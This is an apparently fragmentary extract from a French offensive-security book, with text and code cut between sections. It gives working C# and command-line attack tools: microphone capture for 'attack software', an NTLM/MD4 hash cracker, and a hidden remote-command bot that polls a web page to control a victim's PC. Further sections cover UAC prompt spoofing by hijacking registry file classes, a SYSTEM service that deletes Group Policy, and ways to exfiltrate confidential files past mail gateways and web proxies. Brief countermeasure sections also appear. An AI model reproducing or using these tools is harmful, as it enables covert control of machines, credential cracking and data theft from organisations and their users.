Au niveau du code, vous devez ajouter au début du programme l’import suivant :
using System.Speech.Recognition;
Vous pourrez ensuite utiliser la propriété AudioLevel qui renvoie le volume d’entrée du micro
entre 0 et 100.
3. Compiler l’application
Pour varier, nous avons écrit l’application comme une application en ligne de commande. Il
faut donc la compiler avec comme type exe. Allez dans le dossier de votre framework puis
compilez votre logiciel comme dans l’exemple suivant pour le framework 4.
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
csc /out:c:\temp\sound.exe /target:exe c:\temp\sound.txt
Lors du lancement du programme, l’invite de commande s’ouvre. Le son est alors déjà en
train de s’enregistrer en mémoire. En appuyant sur [Entrée], le programme se ferme et vous
donne un fichier wav dans le dossier de destination.
Voilà pour vous un moyen très simple d’ajouter l’enregistrement du son à votre logiciel
d’attaque. Il est bien entendu très simple d’ajouter ces fonctions aux fonctions de keylogger et
de capture d’écran déjà vues, pour en faire une seule application très complète. Nous vous en
laissons le soin.
1. Principes de base
Pour cela, nous allons utiliser une bibliothèque .NET gérant MD4, gratuite et téléchargeable
sur Internet. .NET ne permet pas de base d’utiliser MD4, Microsoft préférant que les
développeurs utilisent MD5 ou les hachages encore plus sécuritaires. Dans un but éducatif,
nous nous contenterons de comparer des mots de passe de type numérique allant de 0 à 7
caractères.
Téléchargez la bibliothèque MD4 sur le site suivant :
http://www.superstarcoders.com/blogs/posts/md4-hash-algorithm-in-c-sharp.aspx
Pour comparer notre éventuel mode de passe avec celui du fichier, nous allons transformer
celui-ci en Unicode.
byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
Nous allons ensuite le transformer en MD4.
byte[] hash = ComputeMD4(hashunicode);
Puis nous transformerons le résultat en hexadécimal pour le comparer au mot de passe issu de
l’extraction.
string txtmd4 = "";
foreach (byte b in hash)
{
txtmd4 += b.ToString("X");
}
Nous utiliserons une fonction qui n’est disponible qu’à partir du framework 4. Celle-ci permet
de faire des boucles en utilisant le parallélisme, donc de résoudre normalement notre mot de
passe plus vite.
Parallel.For(0, 9999999, i => {
2. Créer l’application
Une fois la classe téléchargée, copiez le document dans un dossier. Puis créez un nouveau
fichier texte crack.txt avec le code suivant :
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Crack_num_password
{
public partial class Form1 : Form
{
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button1;
public Form1()
{
//InitializeComponent();
this.textBox1 = new System.Windows.Forms.TextBox();
this.textBox2 = new System.Windows.Forms.TextBox();
}
private string findpassNum()
{
string pass = null;
Parallel.For(0, 9999999, i =>
{
if (checkpass(i.ToString()) != null)
{
pass = i.ToString();
return;
}
});
return pass;
}
private string checkpass(string pass)
{
byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
byte[] hash = ComputeMD4(hashunicode);
string txtmd4 = "";
foreach (byte b in hash)
{
txtmd4 += b.ToString("X");
}
if (txtmd4 == textBox1.Text)
{
return pass;
}
return null;
}
private static byte[] ComputeMD4(byte[] buffer)
{
using (MD4 hash = new MD4())
{
return hash.ComputeHash(buffer);
}
}
Application.Run(new Form1());
}
}
}
3. Compiler l’application
L’application que nous sommes en train de créer sera de type Windows Forms. Il y a une
particularité puisque nous la compilerons avec une bibliothèque qui est dans un fichier séparé.
Ouvrez une ligne de commande puis allez dans le dossier du framework 4.
Cd\
Cd ”C:\Windows\Microsoft.NET\Framework\v4.0.30319”
Puis tapez :
csc.exe /out:c:\temp\passe.exe /target:winexe c:\temp\passe.txt
c:\temp\md4.cs
Vous pouvez maintenant exécuter votre application. Le premier champ est celui qui doit
contenir le hash à casser. Le second est celui du résultat du mot de passe trouvé.
Vous pouvez essayer avec le hash suivant :
B7A27262E5D3516533A09F497E8A085
L’application doit pouvoir calculer le mot de passe correspondant. Au moment de tester, vous
vous apercevrez que l’application semble se figer, c’est normal, elle calcule. Nous aurions pu
éviter ce blocage en faisant appel à un Thread. Mais ce n’était pas le propos du code. Après
un certain temps, soit le mot de passe a été trouvé, soit un message s’affiche disant que rien
n’a été trouvé. Dans notre cas, le mot de passe devrait être 1223.
Vous pouvez depuis cette base créer un outil bien plus intéressant en basant vos comparaisons
sur d’autres caractères que les seuls caractères numériques.
4. Utiliser le GPU
Dans la mesure où vous avez une bonne carte graphique, vous pourriez aussi utiliser celle-ci
pour casser vos mots de passe. Pour cela, il suffit de télécharger le SDK qui correspond à
votre carte graphique et d’en adapter le code.
Pour ATI : http://developer.amd.com/tools/graphics-development/
Vous pouvez aussi utiliser des SDK qui ne se basent pas sur une carte en particulier, comme
CudaFy, en .NET, qui supporte ATI, NVIDIA et Intel : http://cudafy.codeplex.com/
Microsoft aussi se met à l’utilisation de la carte graphique :
http://msdn.microsoft.com/en-us/library/vstudio/hh265136.aspxs
http://research.microsoft.com/en-us/projects/Accelerator/
La plupart de ces bibliothèques supportent plusieurs cartes graphiques. On peut donc créer
une application capable de casser des mots de passe très efficacement en y ajoutant plusieurs
de ces cartes.
Commander un PC à distance
Lorsque vous faites exécuter une application piégée à un utilisateur, vous prenez un risque. Il
pourrait choisir de ne pas cliquer sur chaque fichier que vous lui envoyez. Il faut alors trouver
un moyen pour qu’il exécute vos lignes de commande sans lui faire exécuter plusieurs
applications truquées. Nous allons donc créer une application robot qui ira régulièrement
chercher sur un site web les commandes qu’elle doit exécuter.
1. Principes de base
Nous allons utiliser un objet WebClient pour ouvrir le fichier sans le télécharger.
WebClient pageWeb = new WebClient();
Stream flux = pageWeb.OpenRead(chemin);
StreamReader contenu = new StreamReader(flux);
La première ligne est la commande, la deuxième ligne comporte les paramètres et la troisième
indique si l’application doit être visible ou non pour l’utilisateur.
string command, param = "";
bool EstVisible = false;
command = contenu.ReadLine();
try{ param = contenu.ReadLine(); } catch { }
try { EstVisible = bool.Parse(contenu.ReadLine()); } catch { }
Le fichier de commande est un simple fichier de texte, chargé sur un site web à une adresse
fixe et ayant toujours le même nom. La variable Contenu est la page web qui est lue. Il est
possible de lire une page plus complexe comme un blog ou un forum et d’y rechercher des
commandes à exécuter. Il suffit de parser le texte de cette variable.
2. Créer l’application
Ci-dessous le code complet de l’application que vous pouvez aussi télécharger.
Ouvrez le Bloc-notes puis écrivez les lignes ci-dessous. Pensez à ajouter une fonction qui
ajoute le programme au démarrage.
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Reflection;
using System.Net;
using System.Diagnostics;
namespace robot
{
class Program
{
static string chemin = "http://localhost/test/cmd.txt";
static string AncienneCommand = "";
static Form f1 = new Form();
}
}
Pour tester le programme, charger un fichier texte comportant les commandes souhaitées sur
le site défini dans le programme. Exécutez ensuite le logiciel.
3. Compiler l’application
Notre application est un Windows Forms invisible, le paramètre target sera donc winexe.
Ouvrez une ligne de commande et allez dans le dossier de votre framework, puis écrivez la
ligne suivante :
csc.exe /out:c:\temp\robot.exe /target:winexe c:\temp\robot.txt
Pour utiliser le programme, créez un site web et chargez le texte. Compilez l’application avec
l’adresse de la commande. Faites installer le programme par la cible. La machine cible sera à
votre merci. Pour lui faire exécuter un ordre, il suffit de charger un nouveau fichier texte sur
le site.
1. Principe de base
Commençons par l’application. La partie de code importante est la suivante, le reste du code
ressemble aux exemples déjà proposés :
try
{
String Command = Environment.CommandLine;
String[] arguments = Command.Split(’=’);
String ProcessArgs = "";
Process p = new Process();
p.StartInfo.FileName = arguments[1];
if (arguments[2].Length > 2)
p.StartInfo.Arguments = arguments[2];
p.Start();
3. Signer le code
Pour que votre application soit reconnue comme fiable par Windows, vous devez la signer
avec un certificat de type Code Signing reconnu par le magasin de certificat de l’utilisateur.
La signature d’un exécutable se fait avec l’outil Signtool.exe. Il est fourni avec Visual Studio.
Vous devez demander un certificat de signature de code à votre autorité de certification. La
demande se passe approximativement de la même manière que la demande d’un certificat web
vue dans le chapitre Extraire, casser, changer un mot de passe - Comment récupérer un mot de
passe depuis le réseau ? - Introduction aux certificats et à HTTPS.
Une fois le certificat reçu et installé, ouvrez-le et copiez la ligne Empreinte numérique.
Démarrez ensuite la console de Visual Studio et exécutez la ligne de commande suivante en
remplaçant par vos propres informations.
signtool sign /d "Explorateur Windows" /sha1
90c856875331881f1f97e9dbe8c8636ce8b79fda c:\temp\explorer.exe
Le résultat ressemble à celui présenté dans l’image suivante :
[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]
@="%1"
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]
@="\"%1\" %*" "IsolatedCommand"="\"%1\" %*"
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]
[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]
@="\"%1\"%*"
"IsolatedCommand"="%appdata%\\Microsoft\\Windows\\explorer.exe
=\"%1\"=\"%*\""
La dernière ligne contient le chemin d’où sera démarrée votre application. Le résultat dans le
registre doit ressembler à l’image suivante :
Cela ne fonctionnera pas si l’utilisateur clique sur Exécuter en tant qu’autre utilisateur, car
dans ce cas, ce sont les informations au niveau de la machine qui seront utilisées. Mais avec
un keylogger, vous aurez ces informations. Si l’utilisateur clique sur un fichier script bat au
lieu d’un exécutable pour le démarrer avec les droits administrateur, c’est alors l’extension du
fichier correspondante qu’il faut modifier dans le registre pour que notre hack fonctionne.
Nous n’avons modifié que le fonctionnement des exe à l’aide de la classe exefile. Pour un
script bat, il faut procéder de la même manière avec la classe batfile. Et ainsi de suite pour
chaque extension ciblée.
5. Tester la modification
Le résultat est très intéressant. Si on clique sur une application, rien de spécial ne se passe.
Mais si une application nécessitant des privilèges élevés est lancée ou si l’utilisateur choisit
d’exécuter un logiciel dans ce mode, le message de confirmation est différent de la normale,
l’icône et le titre affichés sont toujours ceux de l’explorateur Windows, peu importe
l’application démarrée.
Lors de l’exécution d’un programme normal (sans piège) avec les droits administrateur, nous
voyons le nom et l’icône de l’application qui doit s’exécuter. Dans l’exemple ci-dessous, il
s’agit de la ligne de commande CMD.
Après la manipulation, c’est l’icône de l’explorateur qui s’affiche. Le bouclier de sécurité est
lui aussi différent. Mais ces détails ne choquent absolument pas un utilisateur peu averti.
Vous avez vu comment détourner la sécurité de l’UAC, ce n’est finalement pas si compliqué.
Si vous voulez encore augmenter la discrétion de l’attaque, vous pouvez non pas la baser sur
l’extension exefile qui touche tous les exécutables mais modifier une extension comme
mscfile qui gère les fichiers de la console MMC ou encore batfile pour les fichiers bat. Ainsi
vous pourrez choisir l’icône correspondant réellement à l’application.
Changer le code PIN BitLocker avec les
droits utilisateurs
Depuis Windows Vista, Microsoft permet de crypter le disque dur complet d’une machine
avec BitLocker. La clé de cryptage est stockée dans une puce TPM ou sur une clé USB. Les
données ne sont plus modifiables offline. Mais il est encore possible de démarrer le système et
d’attaquer les services exposés. Pour pallier cela, Microsoft permet l’ajout d’un code PIN qui
n’est pas stocké sur la machine. L’utilisateur peut le définir et sans ce code le système ne
démarre pas. En apparence, c’est un bon système, mais il faut que l’utilisateur soit
administrateur pour pouvoir le changer, ce qui est bien dommage. Nous allons donc créer une
application qui, une fois installée, permettra à un utilisateur sans droit administrateur de
changer le code PIN de BitLocker.
1. Principes de base
Nous allons créer un service Windows qui s’exécutera avec les droits système qui seront
chargés de modifier le PIN à la place de l’utilisateur. Et nous allons faire une application où
l’utilisateur peut entrer un code PIN et l’envoyer au service.
Pour créer un service, notre classe doit hériter de ServiceBase.
public partial class Service1 : ServiceBase
Les fonctions principales obligatoires appelées par le système sont Start et Stop :
protected override void OnStart(string[] args)
{
}
namespace PIN_service
{
public partial class Service1 : ServiceBase
{
public Service1()
{
AccessControlType.Allow));
NamedPipeServerStream Ecoute =
new NamedPipeServerStream("\\\\.\\pipe\\PinSetting",
System.IO.Pipes.PipeDirection.InOut,
10,PipeTransmissionMode.Message,
PipeOptions.None,256,256,securite );
while (true)
{
try
{
}
finally
{
if (Ecoute.IsConnected) {
Ecoute.Disconnect(); }
}
}
}
}
}
Visual Studio Express ne propose pas la création de services Windows. Pourtant, il est
possible d’en créer avec cet outil ; pour cela, vous devez effectuer plusieurs petites
manipulations. Vous devez ajouter une référence à System.ServiceProcess depuis l’ajout de
références dans Visual Studio. Puis vous devez ajouter Using System.ServiceProcess au
début de votre programme. Ensuite votre classe doit utiliser ServiceBase comme type hérité
et vous devez déclarer au minimum les deux fonctions suivantes : protected override void
OnStart(string[] args) et protected override void OnStop(). Vous compilez le tout comme
une application console et votre service Windows est prêt à être installé (voir code ci-dessus).
namespace ChangePin
{
class Program
{
static void Main(string[] args)
{
NamedPipeClientStream client =
new NamedPipeClientStream("\\\\.\\pipe\\PinSetting");
StreamWriter Ecrire = new StreamWriter(client);
client.Connect();
int pin = DemandeCode();
Ecrire.WriteLine(pin);
Ecrire.Flush();
Ecrire.Close();
}
static int DemandeCode()
{
try
{
Console.WriteLine("Donnez un code PIN numérique:");
return int.Parse(Console.ReadLine().Trim());
}
catch
{
Console.WriteLine("le code doit être numérique
uniquement");
return DemandeCode();
}
}
}
}
Nous vous conseillons d’écrire une application un peu plus visuelle. Le code ci-dessus vous
permet surtout de comprendre les principes nécessaires à la communication entre processus
ayant des droits différents.
Le service PIN-Setting doit être démarré pour que vous puissiez vous connecter sur le Named
Pipe et ainsi changer le code PIN.
Nous avons vu comment établir une communication entre une application utilisateur et un
service ayant des droits système. Ce type de relations permet d’écrire des applications
donnant à un utilisateur des droits particuliers pour exécuter des tâches restreintes.
Contre-mesures
Une application keylogger, capture d’écran, etc. compilée par un utilisateur n’est en général
pas détectée par un antivirus. Il faut empêcher les utilisateurs de compiler leur code ; pour
cela, bloquez les compilateurs présents dans les Frameworks installés sur les machines
clientes en créant une restriction logicielle sur ces outils. Le Framework .NET intègre un
compilateur C# et un compilateur VB et parfois un compilateur J#, veillez donc à bloquer tous
ces compilateurs pour les utilisateurs finaux, soit csc.exe, vbc.exe et jsc.exe. Pensez
également à bloquer PowerShell, parce qu’il est possible pour un utilisateur d’utiliser des
objets .NET dans PowerShell, ce qui donnerait à son script les mêmes capacités qu’une
application compilée.
Vous pouvez également interdire la modification des clés de registre avec une stratégie de
groupe. Ciblez les clés utilisateurs qui permettent d’ajouter une classe de fichier, de démarrer
une application et toutes les clés qui pourraient compromettre le système.
1. La prise de décision
Le modèle de Kollat et Blackwell utilisé en marketing nous donne une vue du fonctionnement
de la prise de décision.
2. Comprendre l’utilisateur
L’objectif est de tenter l’utilisateur. L’attaquant devra alors refléter le mieux possible les
besoins et les envies de la cible. Pour mieux comprendre et communiquer avec l’utilisateur, il
existe des techniques de communication comme la PNL (Programmation neurolinguistique).
D’après les experts de ce domaine, on peut dire qu’elle est une étude et une modélisation des
structures subjectives de l’expérience humaine. Pour mieux comprendre ses rouages, il faut
comprendre et assimiler les présupposés ou les postulats de la PNL. Dans les présupposés les
plus significatifs de la PNL, il y a « La carte n’est pas le territoire ». Avec d’autres mots, cela
veut dire que chacun d’entre nous voit et interprète avec son propre référentiel ce qu’il reçoit
comme informations de l’extérieur. La réalité est différente pour chacun et nous travaillons
avec une image de cette réalité. C’est ce qui est appelé une représentation subjective de la
réalité.
Dans l’aide à l’action et à la décision, d’autres postulats sont intéressants pour nous, par
exemple, « Nous faisons toujours le meilleur choix pour une situation donnée par rapport aux
informations dont nous disposons ». Ce qui veut dire qu’au moment de notre choix, nous
faisons de notre mieux pour nous, par rapport à la subjectivité de notre réalité.
En tant qu’attaquant, vous devrez comprendre le monde de la cible, cerner, ou pourquoi pas,
créer ses besoins, l’aider à se décider vers une solution que nous lui aurons proposée, et enfin,
lui rendre une expérience positive. Si l’expérience donnée à l’utilisateur est négative, les
futures attaques auront beaucoup plus de chances d’échouer. De plus, il pourrait transmettre
ses mauvais sentiments à d’autres futures cibles. Au contraire, si l’expérience est positive,
l’utilisateur aura plus de chances d’à nouveau collaborer et en plus, de transmettre de lui-
même l’attaque à d’autres cibles.
Nous vous rappellons qu’il est possible de contourner la sécurité des macros d’un document
Office dans certaines conditions. Voir le chapitre Prendre le rôle administrateur ou système -
Piéger un document Office.
Dans le deuxième onglet, modifiez le déclencheur avec une répétition toutes les 2 minutes,
comme dans l’image suivante :
Lorsque vous ouvrez votre session, la tâche supprimera les restrictions liées aux stratégies de
groupe utilisateur.
Si la stratégie actuelle bloque reg.exe, vous pouvez utiliser PowerShell pour supprimer les
clés de registre. Pour cela, créez un fichier GPO.Bat avec les lignes suivantes :
Powershell -command "&
{remove-ItemKCU:software\microsoft\windows\currentV
ersion\policies -confirm:$true}"
Powershell -command "&
{remove-ItemKCU:software\policies -confirm:$true}"
Le script aura le même effet que celui créé précédemment.
b. Bloquer les stratégies de groupe machine
Les stratégies de groupe liées à une machine s’installent lors du démarrage, puis se
rafraîchissent, par défaut, toutes les 90 minutes sur un poste client. Si on les supprime après le
démarrage du système, il se peut que certaines continuent à bloquer la configuration. Il faut
donc pouvoir les éliminer avant l’ouverture de la session et si possible, avec des droits élevés.
Pour répondre à cette problématique, nous allons créer un service Windows en .NET puis
l’installer et le configurer pour qu’il supprime les clés de registre avec les droits système.
Ouvrez le Bloc-notes et créez le fichier gpo.txt avec le code suivant :
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Permissions;
using System.ServiceProcess;
using System.Text;
using System.Threading;
namespace PolicyService
{
[RegistryPermissionAttribute(SecurityAction.Demand)]
static class Program
{
static void Main()
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[]
{
new PolicyService()
};
ServiceBase.Run(ServicesToRun);
}
}
[RegistryPermissionAttribute(SecurityAction.Demand)]
public partial class PolicyService : ServiceBase
{
minuteur1.Stop();
minuteur1.Enabled = true;
minuteur1.Interval = 120000; //2 min
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
supprimePolicies();
}
}
void supprimePolicies()
{// supprime policy machine
}
}
Le service, lors de son démarrage, supprimera les GPO toutes les 2 minutes.
Pour compiler l’application, dans une ligne de commande, allez dans le dossier du framework
installé sur votre machine (voir le chapitre Fabriquer ses propres outils de hacking). Puis
exécutez la ligne de commande suivante pour compiler votre service Windows :
C:\Windows\Microsoft.NET\Framework64\v3.5\
Csc /out:c:\temp\gpo.exe c:\temp\gpo.txt
Une fois le service créé, ouvrez une ligne de commande avec des privilèges élevés, puis
installez-le en utilisant SC.exe :
sc create "GPO Bloqueur" binpath= "C:\temp\gpo.exe” start= auto
Le service démarrera ainsi automatiquement lors du démarrage de la machine et utilisera les
droits système. Pour tester le fonctionnement du service, redémarrez votre machine après
l’installation.
Le seul inconvénient à ce procédé, c’est qu’il faut avoir des droits administrateurs pour
pouvoir installer le service. Mais une fois installé, plus besoin de ces droits.
3. Contre-mesures
Pour bloquer les stratégies de groupe de la machine, il faut être administrateur de la machine,
il convient donc de veiller à ce que les utilisateurs ne disposent pas du rôle administrateur sur
leur PC. Ensuite, vous pouvez bloquer les applications comme reg.exe ou sc.exe, ce qui
empêchera la modification du registre et l’installation du service. Toutefois, ce n’est pas
suffisant puisque reg.exe n’est pas la seule manière de modifier le registre (regedit,
PowerShell, .NET...), tout comme un service n’est pas la seule manière d’avoir les droits
système (cf. chapitre Prendre le rôle administrateur ou système).
Il serait plus sage dans un cas pareil de n’autoriser qu’une liste d’applications définies en
utilisant les restrictions logicielles et les stratégies de groupe, mais cela doit être fait avant
l’installation du service pirate, sinon ce sera trop tard.
1. L’explorateur Windows
L’explorateur Windows est totalement intégré au système. Il est utilisé dès que vous souhaitez
naviguer vos dossiers. L’administrateur peut choisir de cacher et/ou de vous empêcher
d’accéder à un disque en appliquant une stratégie de groupe. Il ne s’agit pas là de la sécurité
définie avec NTFS, mais de l’accès à tout un disque.
a. Le principe
Comme vous l’avez vu dans la section précédente, quand le système applique une stratégie de
groupe, il écrit ces informations dans le registre. Les clés de registre qui correspondent à ce
blocage sont les suivantes :
HKCU\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer
"NoDrives"=dword:00000001
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer
"NoViewOnDrive"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer
"NoDrives"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\explorer
"NoViewOnDrive"=dword:00000001
Les restrictions peuvent être écrites dans les paramètres utilisateurs ou dans ceux de
l’ordinateur. Quand la stratégie est appliquée, l’explorateur, au moment de s’ouvrir, va lire
cette clé de registre et afficher ou permettre tout ce qui n’est pas bloqué.
b. Le contournement pour explorer les fichiers
C’est l’explorateur qui vous empêche de voir le disque et ce qui s’y trouve. Dans la plupart
des cas, il suffit de prendre un autre outil et vous aurez un accès complet.
Vous pouvez utiliser la ligne de commande avec dir pour afficher les dossiers et les
répertoires. Utilisez CD pour entrer dans un dossier.
C:\>dir
Le volume dans le lecteur C s’appelle Disk+
Le numéro de série du volume est 3EC5-30B9C
Répertoire de C:\
Répertoire : C:\
2. Le registre
Le système utilise le registre comme une base de données ; il y stocke et y récupère
énormément d’informations. Certaines pourraient être sensibles à la lecture ou à la
modification. C’est pourquoi un administrateur peut envisager de bloquer l’édition du registre
en appliquant une stratégie de groupe.
a. Le principe
Quand la stratégie de groupe est appliquée pour empêcher l’édition du registre, le principe à
l’œuvre est le même que pour l’explorateur de Windows. C’est l’application Regedit,
regedt32 ou encore l’application en ligne de commande reg.exe qui vont lire dans le registre
lors de leur ouverture si elles ont ou non le droit de s’exécuter.
Lors de l’utilisation d’un des outils, vous aurez un message explicite.
Ce blocage est appliqué dans une des deux clés de registre suivantes :
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableRegistryTools"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableRegistryTools"=dword:00000001
Hive: HKEY_CURRENT_USER\software\microsoft\windows\
currentVersion\policies
Name Property
---- --------
Explorer NoDriveTypeAutoRun : 145
NoViewOnDrive : 2
System DisableTaskMgr : 1
DisableRegistryTools : 1
Vous pouvez observer que l’on peut parcourir le registre malgré la limitation. Avec des droits
administrateurs sur votre machine, vous pouvez malgré la restriction supprimer une clé de
registre, par exemple celle qui nous empêche de démarrer regedit.exe.
Vous démarrez PowerShell avec des droits administrateurs.
remove-Item
HKCU:software\microsoft\windows\currentVersion\policies\system
Et le résultat après la suppression :
PS H:\> get-ChildItem
HKCU:software\microsoft\windows\currentVersion\policies
Hive: HKEY_CURRENT_USER\software\microsoft\windows\
currentVersion\policies
Name Property
---- --------
Explorer NoDriveTypeAutoRun : 145
NoViewOnDrive : 2
PS H:\>
Il est maintenant possible de démarrer l’éditeur du registre ainsi que le gestionnaire des
tâches.
Vous pouvez aussi télécharger et utiliser une application portable comme Registry
Commander.
Si l’administrateur a pris le soin de bloquer tasklist et taskkill, vous pouvez utiliser WMI en
ligne de commande. Exécutez Wmic.exe puis process.
C:\>wmic
wmic:root\cli>process
Caption CommandLine
System Idle Process
System
smss.exe
csrss.exe
wininit.exe
services.exe
lsass.exe
svchost.exe
Vous pouvez aussi démarrer un processus avec Wmic :
wmic process call create mspaint.exe
Ou encore, en arrêter un :
C:\>wmic process where (Name="mspaint.exe") delete
Suppression de l’instance
\\PCWOLW8000\ROOT\CIMV2:Win32_Process.Handle="828"
La suppression de l’instance a réussi.
PowerShell permet aussi de voir les processus :
PS C:\> Get-Process
Les fichiers Docx et les nouvelles extensions de Microsoft Office depuis 2007 sont réellement
des fichiers zip. Vous pouvez le tester en renommant un document Word ayant une
extension .docx en .zip et en l’ouvrant. Les fichiers zip ainsi renommés en docx seront
difficilement détectables.
Vous pouvez aussi contourner ce blocage en copiant vos fichiers directement dans un
document Word ou même Wordpad. Vos fichiers seront encore plus discrets et simples
d’accès.
Pour cela, ouvrez Wordpad, sélectionnez les fichiers, copiez puis collez dans le document.
Il faut pour les afficher utiliser la ligne de commande dir /r. Cette commande est disponible
depuis Windows Vista.
C:\Temp\ADS>dir /r
Le volume dans le lecteur C s’appelle OSDisk
Le numéro de série du volume est 4EC5-0B7C
Répertoire de C:\Temp\ADS
namespace ADS_Reader
{
class Program
{
static string cheminBase = @"c:\";
static string VariableDir = @"Répertoire de ";
static void Main(string[] args)
{
try
{
if (args.Length > 0)
{
cheminBase = args[0].Trim();
}
else
{
Console.WriteLine("Veuillez donner le chemin à
tester comme argument.");
}
}
catch { }
Console.WriteLine("Veuillez patienter.");
Process p = new Process();
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.Arguments = "/c dir " +cheminBase +" /r /s";
p.StartInfo.FileName = "cmd.exe";
p.Start();
string consoleTexte = p.StandardOutput.ReadToEnd();
p.WaitForExit();
string[] retours = consoleTexte.Split(’\n’);
string dossier = cheminBase;
string Fichierparent = "";
string dossierParent = "";
foreach (string fichier in retours)
{
if (fichier.Contains(VariableDir))
{
dossierParent = fichier;
}
if (fichier.Contains("$DATA"))
{
Console.WriteLine(dossierParent);
Console.WriteLine(Fichierparent);
Console.WriteLine(fichier);
}
else
{
Fichierparent = fichier;
}
}
Console.ReadLine();
}
}
}
Allez dans le dossier du framework installé sur votre système :
Cd C:\Windows\Microsoft.NET\Framework\v3.5
csc /out:c:\temp\ads.exe c:\temp\ads.txt
Une fois le fichier compilé, pour l’exécuter, donnez le nom de l’application puis en paramètre
le dossier de départ à analyser.
Ads.exe c:\temp\ads\
L’application retourne uniquement les dossiers et les fichiers contenant des flux alternatifs.
Comme vous l’avez vu, les flux alternatifs sont intéressants, pas toujours simples à mettre en
œuvre et ils sont très simples à détecter.
La session s’ouvrira sans vous demander de mot de passe. Cela fait partie des droits attribués
au compte système.
6. Passerelle mail
Certaines entreprises mettent en place des systèmes pour éviter le vol de données. Elles
bloquent les ports USB, empêchent la gravure de CD, installent des proxys et des passerelles
mail.
Une passerelle mail est mise en place par un administrateur de réseau afin d’empêcher les
spams et les courriels malveillants d’arriver jusqu’à l’intérieur de l’entreprise, ce qui est une
bonne chose. Ce type de logiciels est aussi utilisé pour empêcher l’extraction de fichiers
confidentiels. Un tel produit se base sur la classification des documents ou sur l’extension des
fichiers qui y transitent pour autoriser ou bloquer leur sortie.
a. Le principe
Une passerelle mail est installée entre le serveur de messagerie et la connexion Internet. Les
mails sortants sont automatiquement envoyés au logiciel, analysés par celui-ci, puis, si un
document important est détecté, le mail est bloqué. Ce système permet donc d’éviter le vol de
documents par e-mail.
b. Le contournement pour exfiltrer des fichiers
Le mail passe par la passerelle seulement au moment de l’envoi. Il suffit pour exfiltrer un
fichier, de créer un mail, d’ajouter le fichier à sortir puis de l’enregistrer dans les brouillons
sans l’envoyer. Une fois à l’extérieur de l’entreprise, ouvrez le webmail et téléchargez le
fichier confidentiel. Le mail ne sera pas bloqué puisqu’il ne sera pas passé par la passerelle.
Vous pouvez aussi cacher un document dans un autre document. Pour cela, créez un fichier
zip et copiez-le dans un document .doc comme vu dans la section Gestion des fichiers avec
FSRM.
7. Proxy Web
Un proxy web a dans une entreprise plusieurs fonctions. L’une des principales fonctions est
de fournir un cache pour les pages web téléchargées afin d’accélérer la navigation. La seconde
est de définir des règles de sortie pour les sites autorisés ou bloqués. Un tel serveur permet de
sécuriser la personne qui navigue en donnant l’IP du proxy plutôt que la sienne au site distant.
Il analyse, pour garantir la sécurité de l’entreprise, le trafic reçu et envoyé.
a. Le principe
Un proxy web se situe entre le navigateur du client et la connexion Internet. C’est le proxy qui
résout les noms en adresse IP. Le DNS (Domain Name System) du client n’a donc aucune
influence sur la résolution du nom. Le trafic analysé est principalement HTTP, FTP et parfois
HTTPS. La connexion est établie entre le navigateur et le proxy, et une nouvelle connexion
est créée entre le proxy et le site web. Le trafic sortant est parfois analysé pour éviter le vol de
fichiers.
Dans le cas d’HTTPS, le trafic est par défaut, directement envoyé au serveur sans être
analysé. L’analyse des flux HTTPS est plus complexe à mettre en œuvre et parfois considérée
comme intrusive.
b. Le contournement pour le chargement ou le téléchargement de fichiers
Dans les cas d’extraction de fichiers confidentiels ou le téléchargement de fichiers
normalement bloqués, il y a deux cas principaux, sans analyse du flux HTTPS ou avec.
Si le serveur proxy n’analyse pas le trafic HTTPS, il suffit de charger les fichiers à extraire ou
de télécharger un fichier normalement bloqué sur un serveur utilisant une connexion sécurisé.
Si vous n’en avez pas, vous pouvez utiliser SkyDrive. Allez sur https://skydrive.live.com/,
loguez-vous sur le site et chargez ou téléchargez vos fichiers. Le site de Microsoft supporte la
connexion par HTTPS de manière native.
Si le serveur proxy analyse le trafic HTTPS, la procédure sera un peu différente. Lors de
l’analyse du trafic HTTP ou HTTPS, chaque demande pour charger un fichier est transmise au
proxy qui l’analyse, puis crée une nouvelle connexion vers le site web distant si rien
d’anormal n’est détecté. Lors du téléchargement, le fichier est en général enregistré sur le
proxy, analysé par le serveur, puis transmis à l’utilisateur si celui-ci n’est pas jugé dangereux.
Le fichier sera de toute façon analysé. Il faut donc cacher votre fichier ou empêcher
éventuellement l’analyse. Mettre votre fichier dans un fichier zip n’est pas suffisant, il sera
analysé. Si vous mettez un mot de passe à votre fichier zip, il sera dans la majorité des cas
bloqué. Une des meilleures manières est de dissimuler votre fichier dans un document Office
comme un .doc en utilisant Word ou WordPad. La méthode est décrite dans le contournement
de la gestion des fichiers avec FSRM.
Il ne vous reste plus qu’à charger ou télécharger votre document sur ou depuis SkyDrive. Si
SkyDrive est bloqué, vous pouvez aussi créer votre propre serveur ayant un certificat web.
c. Le contournement pour la navigation
Un serveur proxy peut être utilisé pour empêcher les employés d’aller sur certain site jugé
